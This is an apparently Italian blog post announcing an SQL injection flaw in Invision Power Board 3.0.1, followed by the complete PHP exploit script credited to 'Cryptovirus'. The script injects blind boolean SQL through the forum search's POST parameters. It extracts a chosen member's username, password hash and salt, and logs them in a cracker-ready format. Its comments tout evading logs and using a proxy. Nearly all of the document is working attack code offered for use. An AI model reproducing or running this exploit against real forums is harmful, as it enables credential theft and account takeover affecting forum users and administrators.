Il ritrovamento di questa nuova falla dell’Invision Power Serivce e pertanto del Forum più usato in rete è stato identificato dal Hacker Cryptovirus e sfrutta l’ormai conosciuta tecnica di SQL Injection .

Dopo il salto l’expoit…

</p>
<p>&lt;?php<br />
error_reporting(E_ALL);<br />
///////////////////////////////////////////////////////////////////////<br />
///////////////////////////////////////////////////////////////////////<br />
// IPB 3.0.1 sql injection exploit<br />
// Version 1.0<br />
// written by Cryptovirus<br />
// http://de.crypt.in/<br />
// 31. january 2010<br />
//<br />
// FEATURES:<br />
// 1. Fetching algorithm optimized for speed<br />
// 2. Attack goes through $_POST, so no suspicious logs<br />
// 3. Pretesting saves time if IPB is not vulnerable<br />
// 4. curl extension autoloading<br />
// 5. log format compatible with passwordspro<br />
//<br />
// NB! This exploit is meant to be run as php CLI!<br />
// http://www.php.net/features.commandline<br />
///////////////////////////////////////////////////////////////////////<br />
///////////////////////////////////////////////////////////////////////<br />
//=====================================================================<br />
$cli = php_sapi_name() === 'cli';<br />
//=====================================================================<br />
// Die, if executed from webserver<br />
//=====================================================================<br />
if(!$cli)<br />
{<br />
 echo &quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;Attention!&lt;/title&gt;&lt;/head&gt;\n&quot;;<br />
 echo &quot;&lt;body&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;\n&quot;;<br />
 echo &quot;&lt;h1&gt;Error!&lt;/h1&gt;\n&quot;;<br />
 echo &quot;This exploit is meant to be used as php CLI script!&lt;br /&gt;\n&quot;;<br />
 echo &quot;More information:&lt;br /&gt;\n&quot;;<br />
 echo &quot;&lt;a href=\&quot;http://www.google.com/search?hl=en&amp;q=php+cli+windows\&quot; target=\&quot;_blank\&quot;&gt;http://www.google.com/search?hl=en&amp;q=php+cli+windows&lt;/a&gt;&lt;br /&gt;\n&quot;;<br />
 echo &quot;This script will not run through a webserver.&lt;br /&gt;\n&quot;;<br />
 echo &quot;&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;\n&quot;;<br />
 exit;<br />
}<br />
//=====================================================================<br />
// Print the awesome de.crypt.in logo<br />
//=====================================================================<br />
echo &quot;\n     _                             _     _       &quot;;<br />
echo &quot;\n  __| | ___   ___ _ __ _   _ _ __ | |_  (_)_ __  &quot;;<br />
echo &quot;\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ &quot;;<br />
echo &quot;\n| (_| |  __/| (__| |  | |_| | |_) | |_ _| | | | |&quot;;<br />
echo &quot;\n \__,_|\___(_)___|_|   \__, | .__/ \__(_)_|_| |_|&quot;;<br />
echo &quot;\n                       |___/|_|                  \n\n&quot;;<br />
//=====================================================================<br />
// Check if all command line arguments were passed<br />
//=====================================================================<br />
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){<br />
 echo &quot;Usage: php &quot;.$_SERVER['PHP_SELF'].&quot; &lt;target&gt; &lt;userid&gt; &lt;option&gt; [login] [password]\n&quot;;<br />
 echo &quot;\n&quot;;<br />
 echo &quot;NOTE: Login and password are optional, use for forums that require registration.\n&quot;;<br />
 echo &quot;Options: 1 - Fetch username, 2 - Fetch password hash\n\n&quot;;<br />
 echo &quot;Example: php &quot;.$_SERVER['PHP_SELF'].&quot; http://ipb.com/board/ 1 1 foo bar\n&quot;;<br />
 die;<br />
}<br />
//=====================================================================<br />
// Set some important variables...<br />
//=====================================================================<br />
$topicname = '';<br />
$url = $argv[1];<br />
$chosen_id = $argv[2];<br />
$ch_option = $argv[3];<br />
if(isset($argv[4])){<br />
 if(isset($argv[5])){<br />
 $user_login = $argv[4];<br />
 $user_pass = $argv[5];<br />
 }<br />
 else{<br />
 echo &quot;Error: Password not specified with username\n&quot;;<br />
 die;<br />
 }<br />
}<br />
# Proxy settings<br />
# Be sure to use proxy :)<br />
//$proxy_ip_port = '127.0.0.1:8118';<br />
//$proxy_user_password = 'someuser:somepassword';<br />
$outfile = './ipb_log.txt'; //Log file</p>
<p>if(!extension_loaded('curl'))<br />
{<br />
 if(!dl('php_curl.dll'))<br />
 {<br />
 die(&quot;Curl extension not loaded!\n Fatal exit ...\n&quot;);<br />
 }<br />
 else<br />
 {<br />
 echo &quot;Curl loading success\n&quot;;<br />
 }<br />
}<br />
//=====================================================================<br />
xecho(&quot;Target: $url\n&quot;);<br />
xecho(&quot;Testing target URL ... \n&quot;);<br />
test_target_url();<br />
xecho(&quot;Target URL seems to be valid\n&quot;);<br />
add_line(&quot;==========================================&quot;);<br />
add_line(&quot;Target: $url&quot;);<br />
if(isset($argv[4])){<br />
 login_to_forum($argv[4], $argv[5]);<br />
}<br />
$i = $chosen_id;<br />
echo &quot;Fetching topics from ID $i\n&quot;;<br />
 if(!fetch_target_id($i))<br />
 {<br />
 echo &quot;No topics found.\n&quot;;<br />
 fwrite(STDOUT, &quot;Last ditch effort, enter topic: &quot;);<br />
 $topicname = trim(fgets(STDIN));<br />
 }<br />
 else echo &quot;Topic found! Hacktime.\n&quot;;</p>
<p>// Check chosen option and proceed accordingly<br />
add_line(&quot;------------------------------------------&quot;);<br />
if($ch_option == 2){<br />
 $hash = get_hash($i);<br />
 $salt = get_salt($i);<br />
 $line = &quot;$i:$hash:$salt&quot;;<br />
 add_line($line);<br />
 xecho(&quot;\n------------------------------------------\n&quot;);<br />
 xecho(&quot;User ID: $i\n&quot;);<br />
 xecho(&quot;Hash: $hash\n&quot;);<br />
 xecho(&quot;Salt: $salt&quot;);<br />
 xecho(&quot;\n------------------------------------------\n&quot;);<br />
}<br />
else if($ch_option == 1){<br />
 $uname = get_user($i);<br />
 $line = &quot;The username for id $i is $uname&quot;;<br />
 add_line($line);<br />
 xecho(&quot;$uname&quot;);<br />
}<br />
xecho(&quot;\nQuestions and feedback - http://de.crypt.in/ \n&quot;);<br />
die(&quot; \n&quot;);<br />
//////////////////////////////////////////////////////////////////////<br />
function login_to_forum($user, $pass)<br />
{<br />
 global $url;<br />
 $post = 'app=core&amp;module=global&amp;section=login&amp;do=process&amp;username='.$user.'&amp;password='.$pass.'&amp;rememberMe=1';<br />
 $buff = trim(make_post($url, $post, '', $url));<br />
 if(strpos($buff,'The login was successful!')&gt;0){<br />
 xecho(&quot;Logged in.\n&quot;);<br />
 }<br />
 else{<br />
 xecho(&quot;Error: Unable to login.&quot;);<br />
 die;<br />
 }<br />
}<br />
//////////////////////////////////////////////////////////////////////<br />
function test_target_url()<br />
{<br />
 global $url;</p>
<p> $post = 'app=core&amp;module=search&amp;section=search&amp;do=quick_search&amp;search_app=core&amp;fromsearch=1&amp;search_filter_app%5Ball%5D=1&amp;content_title_only=1&amp;search_term=test%2527';<br />
 $buff = trim(make_post($url, $post, '', $url));</p>
<p> if(strpos($buff,'Moved Permanently')&gt;0)<br />
 {<br />
 die('Ivalid. Try adding trailing slash to url. Exiting ...');<br />
 }</p>
<p> if(strpos($buff,'No results found for')&gt;0)<br />
 {<br />
 die('Target is patched? Exiting ...');<br />
 }<br />
}<br />
//////////////////////////////////////////////////////////////////////<br />
function fetch_target_id($id)<br />
{<br />
 global $url, $topicname;<br />
 $post = 'app=core&amp;module=search&amp;do=user_posts&amp;mid='.$id.'&amp;view_by_title=1&amp;search_filter_app%5Bforums%5D=1';<br />
 $buff = trim(make_post($url, $post, '', $url));<br />
 if(strpos($buff,'View result')&gt;0){<br />
 $location = strpos($buff,'View result');<br />
 $start = strpos($buff,'&gt;',$location)+1;<br />
 $end = strpos($buff,'&lt;/a&gt;',$start);<br />
 $topicname = substr($buff,$start,($end-$start));<br />
 return true;<br />
 }<br />
 else return false;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function get_salt($id)<br />
{<br />
 $len = 5;<br />
 $out = '';<br />
 xecho(&quot;Finding salt ...\n&quot;);<br />
 for($i = 1; $i &lt; $len + 1; $i ++)<br />
 {<br />
 $ch = get_saltchar($i, $id);<br />
 xecho(&quot;Got pos $i --&gt; $ch\n&quot;);<br />
 $out .= &quot;$ch&quot;;<br />
 xecho(&quot;Current salt: $out \n&quot;);<br />
 }<br />
 xecho(&quot;\nFinal salt for ID $id: $out\n\n&quot;);<br />
 return $out;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function get_saltchar($pos, $id)<br />
{<br />
 global $prefix;<br />
 $char = '';<br />
 $min = 32;<br />
 $max = 128;<br />
 $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';<br />
 $curr = 0;<br />
 while(1)<br />
 {<br />
 $area = $max - $min;<br />
 if($area &lt; 2 )<br />
 {<br />
 $post = $pattern . &quot;=$max&quot;;<br />
 $eq = test_condition($post);<br />
 if($eq)<br />
 {<br />
 $char = chr($max);<br />
 }<br />
 else<br />
 {<br />
 $char = chr($min);<br />
 }<br />
 break;<br />
 }</p>
<p> $half = intval(floor($area / 2));<br />
 $curr = $min + $half;<br />
 $post = $pattern . '%253e' . $curr;<br />
 $bigger = test_condition($post);<br />
 if($bigger)<br />
 {<br />
 $min = $curr;<br />
 }<br />
 else<br />
 {<br />
 $max = $curr;<br />
 }<br />
 xecho(&quot;Current test: $curr-$max-$min\n&quot;);<br />
 }<br />
 return $char;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function get_hash($id)<br />
{<br />
 $len = 32;<br />
 $out = '';<br />
 xecho(&quot;Finding hash ...\n&quot;);<br />
 for($i = 1; $i &lt; $len + 1; $i ++)<br />
 {<br />
 $ch = get_hashchar($i, $id);<br />
 xecho(&quot;Got pos $i --&gt; $ch\n&quot;);<br />
 $out .= &quot;$ch&quot;;<br />
 xecho(&quot;Current hash: $out \n&quot;);<br />
 }<br />
 xecho(&quot;\nFinal hash for ID $id: $out\n\n&quot;);<br />
 return $out;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function get_hashchar($pos, $id)<br />
{<br />
 global $prefix;<br />
 $char = '';<br />
 $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';<br />
 // First let's determine, if it's number or letter<br />
 $post = $pattern . '%253e57';<br />
 $letter = test_condition($post);<br />
 if($letter)<br />
 {<br />
 $min = 97;<br />
 $max = 102;<br />
 xecho(&quot;Char to find is [a-f]\n&quot;);<br />
 }<br />
 else<br />
 {<br />
 $min = 48;<br />
 $max = 57;<br />
 xecho(&quot;Char to find is [0-9]\n&quot;);<br />
 }<br />
 $curr = 0;<br />
 while(1)<br />
 {<br />
 $area = $max - $min;<br />
 if($area &lt; 2 )<br />
 {<br />
 $post = $pattern . &quot;=$max&quot;;<br />
 $eq = test_condition($post);<br />
 if($eq)<br />
 {<br />
 $char = chr($max);<br />
 }<br />
 else<br />
 {<br />
 $char = chr($min);<br />
 }<br />
 break;<br />
 }</p>
<p> $half = intval(floor($area / 2));<br />
 $curr = $min + $half;<br />
 $post = $pattern . '%253e' . $curr;<br />
 $bigger = test_condition($post);<br />
 if($bigger)<br />
 {<br />
 $min = $curr;<br />
 }<br />
 else<br />
 {<br />
 $max = $curr;<br />
 }<br />
 xecho(&quot;Current test: $curr-$max-$min\n&quot;);<br />
 }<br />
 return $char;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
///////////////////////////////////////////////////////////////////////<br />
function get_user($id)<br />
{<br />
 $len = 32;<br />
 $out = '';</p>
<p> xecho(&quot;Finding username ...\n&quot;);</p>
<p> for($i = 1; $i &lt; $len + 1; $i ++)<br />
 {<br />
 $ch = get_userchar($i, $id);<br />
 xecho(&quot;Got pos $i --&gt; $ch\n&quot;);<br />
 $out .= &quot;$ch&quot;;<br />
 xecho(&quot;Current username: $out \n&quot;);<br />
 }</p>
<p> xecho(&quot;\nFinal username for ID $id: $out\n\n&quot;);</p>
<p> return $out;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function get_userchar($pos, $id)<br />
{<br />
 global $prefix;</p>
<p> $char = '';<br />
 $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';</p>
<p> // First let's determine, if it's number or letter<br />
 $post = $pattern . '%253e57';<br />
 $letter = test_condition($post);</p>
<p> if($letter)<br />
 {<br />
 $min = 65;<br />
 $max = 122;<br />
 xecho(&quot;Char to find is [a-f]\n&quot;);<br />
 }<br />
 else<br />
 {<br />
 $min = 48;<br />
 $max = 57;<br />
 xecho(&quot;Char to find is [0-9]\n&quot;);<br />
 }</p>
<p> $curr = 0;</p>
<p> while(1)<br />
 {<br />
 $area = $max - $min;<br />
 if($area &lt; 2 )<br />
 {<br />
 $post = $pattern . &quot;=$max&quot;;<br />
 $eq = test_condition($post);</p>
<p> if($eq)<br />
 {<br />
 $char = chr($max);<br />
 }<br />
 else<br />
 {<br />
 $char = chr($min);<br />
 }</p>
<p> break;<br />
 }</p>
<p> $half = intval(floor($area / 2));<br />
 $curr = $min + $half;</p>
<p> $post = $pattern . '%253e' . $curr;</p>
<p> $bigger = test_condition($post);</p>
<p> if($bigger)<br />
 {<br />
 $min = $curr;<br />
 }<br />
 else<br />
 {<br />
 $max = $curr;<br />
 }</p>
<p> xecho(&quot;Current test: $curr-$max-$min\n&quot;);<br />
 }</p>
<p> return $char;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function test_condition($p)<br />
{<br />
 global $url;<br />
 global $topicname;</p>
<p> $bret = false;<br />
 $maxtry = 10;<br />
 $try = 1;</p>
<p> $pattern = 'app=core&amp;module=search&amp;section=search&amp;do=quick_search&amp;search_app=core&amp;fromsearch=1&amp;search_filter_app%%5Ball%%5D=1&amp;content_title_only=1&amp;search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;<br />
 $post = sprintf($pattern, $p);</p>
<p> while(1)<br />
 {<br />
 $buff = trim(make_post($url, $post, '', $url));</p>
<p> if(strpos($buff,'Your search for the term &lt;em&gt;&lt;strong&gt;')&gt;0)<br />
 {<br />
 $bret = true;<br />
 break;<br />
 }<br />
 elseif(strpos($buff,'No results found for')&gt;0)<br />
 {<br />
 break;<br />
 }<br />
 elseif(strpos($buff, 'Driver Error&lt;/title&gt;') !== false)<br />
 {<br />
 die(&quot;Sql error! Wrong prefix?\nExiting ... &quot;);<br />
 }<br />
 else<br />
 {<br />
 xecho(&quot;test_condition() - try $try - invalid return value ...\n&quot;);<br />
 xecho(&quot;Will wait 30 seconds for flood control. Expect 2-3 tries.\n&quot;);<br />
 xecho(&quot;This is going to take years...\n&quot;);<br />
 sleep(10);<br />
 $try ++;<br />
 if($try &gt; $maxtry)<br />
 {<br />
 die(&quot;Too many tries - exiting ...\n&quot;);<br />
 }<br />
 else<br />
 {<br />
 xecho(&quot;Trying again - try $try ...\n&quot;);<br />
 }<br />
 }<br />
 }</p>
<p> return $bret;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)<br />
{<br />
 $ch = curl_init();<br />
 $timeout = 120;<br />
 curl_setopt ($ch, CURLOPT_URL, $url);<br />
 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);<br />
 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);<br />
 curl_setopt($ch, CURLOPT_POST, 1);<br />
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);<br />
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);<br />
 curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');<br />
 curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');<br />
 curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');</p>
<p> if(!empty($GLOBALS['proxy_ip_port']))<br />
 {<br />
 curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);</p>
<p> if(!empty($GLOBALS['proxy_user_password']))<br />
 {<br />
 curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);<br />
 }<br />
 }</p>
<p> if(!empty($cookie))<br />
 {<br />
 curl_setopt ($ch, CURLOPT_COOKIE, $cookie);<br />
 }</p>
<p> if(!empty($referer))<br />
 {<br />
 curl_setopt ($ch, CURLOPT_REFERER, $referer);<br />
 }</p>
<p> if($headers === TRUE)<br />
 {<br />
 curl_setopt ($ch, CURLOPT_HEADER, TRUE);<br />
 }<br />
 else<br />
 {<br />
 curl_setopt ($ch, CURLOPT_HEADER, FALSE);<br />
 }</p>
<p> $fc = curl_exec($ch);<br />
 curl_close($ch);</p>
<p> return $fc;<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function add_line($line)<br />
{<br />
 global $outfile;<br />
 $line .= &quot;\r\n&quot;;<br />
 $fh = fopen($outfile, 'ab');<br />
 fwrite($fh, $line);<br />
 fclose($fh);<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
function xecho($line)<br />
{<br />
 if($GLOBALS['cli'])<br />
 {<br />
 echo &quot;$line&quot;;<br />
 }<br />
 else<br />
 {<br />
 $line = nl2br(htmlspecialchars($line));<br />
 echo &quot;$line&quot;;<br />
 }<br />
}<br />
///////////////////////////////////////////////////////////////////////<br />
?&gt;</p>
<p>